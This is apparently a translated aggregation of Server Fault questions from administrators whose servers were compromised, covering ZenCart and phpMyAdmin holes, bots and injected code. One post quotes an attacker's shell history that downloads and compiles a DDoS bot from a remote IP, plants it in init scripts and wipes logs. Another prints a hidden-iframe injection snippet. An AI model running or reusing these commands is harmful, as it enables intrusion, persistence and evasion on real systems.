这是关于服务器安全的规范问题- 响应违规事件(黑客攻击)
另请参见:
规范版本
我怀疑我的一台或多台服务器受到了黑客、病毒或其他机制的危害:
原版
2011.01.02 - 我在周日晚上 9.30 上班的路上,因为我们的服务器不知何故遭到入侵,导致对我们的供应商的 DOS攻击。访问 Internet 的服务器已关闭,这意味着我们的 5-600 多个客户站点现已关闭。现在这可能是 FTP 黑客攻击,或者某处代码中的一些弱点。我不确定,直到我到达那里。
我怎样才能快速追踪到这个?如果我不尽快备份服务器,我们将面临大量诉讼。任何帮助表示赞赏。我们正在运行 Open SUSE 11.0。
2011.01.03 - 感谢大家的帮助。幸运的是,我不是唯一负责这个服务器的人,只是最近的人。我们设法解决了这个问题,尽管它可能不适用于不同情况下的许多其他问题。我会详细说明我们做了什么。
我们从网络上拔掉了服务器。它正在印度尼西亚的另一台服务器上执行(试图执行)拒绝服务攻击,而犯罪方也在那里。
我们首先试图确定这是来自服务器上的哪个位置,考虑到我们服务器上有 500 多个站点,我们预计会在一段时间内兼职。然而,在 SSH 访问仍然存在的情况下,我们运行了一个命令来查找在攻击开始时编辑或创建的所有文件。幸运的是,有问题的文件是在寒假期间创建的,这意味着当时在服务器上创建的其他文件并不多。
然后,我们能够识别ZenCart网站内上传的图像文件夹内的违规文件。
在短暂的休息之后,我们得出结论,由于文件位置的原因,它一定是通过文件上传工具上传的,但该工具没有得到足够的保护。经过一番谷歌搜索,我们发现 ZenCart 管理面板中存在一个安全漏洞,允许上传文件以获取唱片公司的图片。(它从未真正使用过的部分),发布此表单只是上传了任何文件,它没有检查文件的扩展名,甚至没有检查用户是否已登录。
这意味着可以上传任何文件,包括用于攻击的 PHP 文件。我们在受感染站点上使用 ZenCart 保护漏洞,并删除了有问题的文件。
工作完成了,我在凌晨 2 点回家
道德 - 始终为 ZenCart 或任何其他 CMS 系统应用安全补丁。当安全更新发布时,全世界都意识到了这个漏洞。- 总是做备份,备份你的备份。- 雇用或安排在这种时候会在那里的人。防止任何人依赖服务器故障上的恐慌帖子。
当一台服务器被扎根(如情况是这样),第一件事情,你可能会决定做一个遏制。一些安全专家建议不要立即进行修复,并在取证完成之前保持服务器在线。这些建议通常是针对APT 的。如果您偶尔遇到Script Kiddie漏洞,情况就不同了,因此您可能决定及早进行补救(修复)。修复的步骤之一是遏制服务器。引用Robert Moir 的回答——“将受害者与其抢劫者断开联系”。
可以通过拉网线或电源线来容纳服务器。
哪种方法更好?
考虑到需要:
编辑:5个假设
假设:
这是一个运行 ubuntu 8.04 服务器的服务器,知道发生了什么吗?
# ls
-bash: /bin/ls: No such file or directory
# /bin/ls
-bash: /bin/ls: No such file or directory
# stat /bin/ls
File: `/bin/ls'
Size: 39696 Blocks: 80 IO Block: 4096 regular file
Device: 803h/2051d Inode: 1073910881 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 122/ UNKNOWN) Gid: ( 114/Debian-exim)
Access: 2008-06-05 15:07:22.491486000 -0700
Modify: 2008-04-03 23:44:23.000000000 -0700
Change: 2009-05-21 07:42:45.715736917 -0700
#:/bin# dd if=/bin/ls of=/dev/null
77+1 records in
77+1 records out
39696 bytes (40 kB) copied, 0.000157908 s, …Run Code Online (Sandbox Code Playgroud) 我们今天使用 Putty 远程登录到我们的 CentOS 服务器,在使用向上箭头浏览之前的命令时,偶然发现了以下内容:
unset HISTFILE
mkdir /usr/lib/tmp
cd /usr/lib/tmp
wget http://188.72.217.17/mzb.c -o /dev/null
wget http://188.72.217.17/windef.h -o /dev/null
gcc mzb.c -o /bin/bot -lpthread
rm -rf mzb.c
rm -rf windef.h
wget http://188.72.217.17/botsupport.sh -o /dev/null
chmod +x botsupport.sh
mv botsupport.sh /etc/init.d/httpd2
cat /etc/init.d/network > /etc/init.d/network.bp
echo \#\!/bin/sh > /etc/init.d/network
echo nohup /etc/init.d/httpd2 \& >> /etc/init.d/network
cat /etc/init.d/network.bp >> /etc/init.d/network
cat /dev/null > /var/log/lastlog
history -c
nohup /etc/init.d/httpd2 &
Run Code Online (Sandbox Code Playgroud)
(为了清晰起见,用换行符替换了&&)
我从来没有运行过这些命令,永远!这是怎么发生的,我的服务器被黑客入侵了吗?我立即更改了我的 root 密码,但希望有人能对这里发生的事情有所了解。
我看到源代码中提到了 ddos bots,我和我的同事都非常担心!
提前致谢!
我继承了一个被入侵的网络服务器。试图找出 apache 挂起的原因以及服务器负载高的原因,我在 /tmp 中找到了 perlbot 4.5 的几个副本。我现在想弄清楚它们是如何进入机器的,以便我可以关闭孔。我一直在查看各种扫描仪,nessus 看起来不错,我在机器和托管的网站之一上进行了扫描。但是有几百个站点,太多了,任何人都无法了解所有这些站点的来龙去脉,而且我是新来的,所以我真的不知道他们可能在做什么。扫描每个站点是最好的选择吗?
您如何在同一台机器上检查这么多站点的问题?
编辑添加:我们正在擦除所有内容并从备份中恢复。这很好,但仍然让我们对原始漏洞持开放态度。使用 Nessus 或 Metasploit 一次扫描一个站点以试图找出该漏洞是什么?
编辑 2:它是 phpmyadmin。尽管这本来是我一注意到我们正在运行它就会升级的东西,但我通过倾倒 apache 日志专门发现了这个问题。nessus 和 metaspolit 很整洁但没有帮助。(我可能不明白如何充分利用它们,我只是运行了基本的自动扫描)。
我们是一家网站设计/托管公司,运行多个站点,有人能够将任意数据写入文件系统。我们怀疑他们仍然安装了一些脚本,需要一种方法来审核过去 10 天内更改或添加的任何内容。是否有我们可以运行的命令或脚本来执行此操作?
可能的重复:
在 Root 妥协后重新安装?
在具有管理权限的用户意外从连接到域的桌面上的 USB 驱动器加载病毒后,我们的一台服务器遭到破坏。最明显的两个症状是:
我已经运行了来自不同供应商的几次病毒扫描,并且非常确信病毒已被删除,但损坏已经完成。
我希望这两个症状是相关的,一旦目录消失,服务器将再次开始响应。驱动器响应非常慢。我一次删除大约 20k 个文件夹。除此之外,Windows资源管理器变得无响应。
如果我完成清理HD并且事情没有恢复正常,我还可以检查什么?
我今天登录我的服务器,在我的目录浏览窗口顶部看到以下无法识别的代码:
document.writeln("");var el = document.createElement("iframe");document.body.appendChild(el);el.id = 'myname';el.name = 'myname';el.style.width = "1px";el.style.height ="1px";el.scrolling="auto";el.frameBorder="0";el.src = "[由作者编辑,此处未知 URL]";
我不认识 URL(我已将其删除)。
另外,我的phpBB3留言板顶部有一些phpBB调试和PHP通知,对我来说都是新的。此外,论坛代码中的某些链接似乎已被垃圾字符损坏。
没有添加或删除其他内容,但这引起了我的主要担忧。
我网站上的每个页面都受到 Apache 登录提示的保护,我认为这是足够的保护。
我是被攻击了,还是在阴影中跳跃?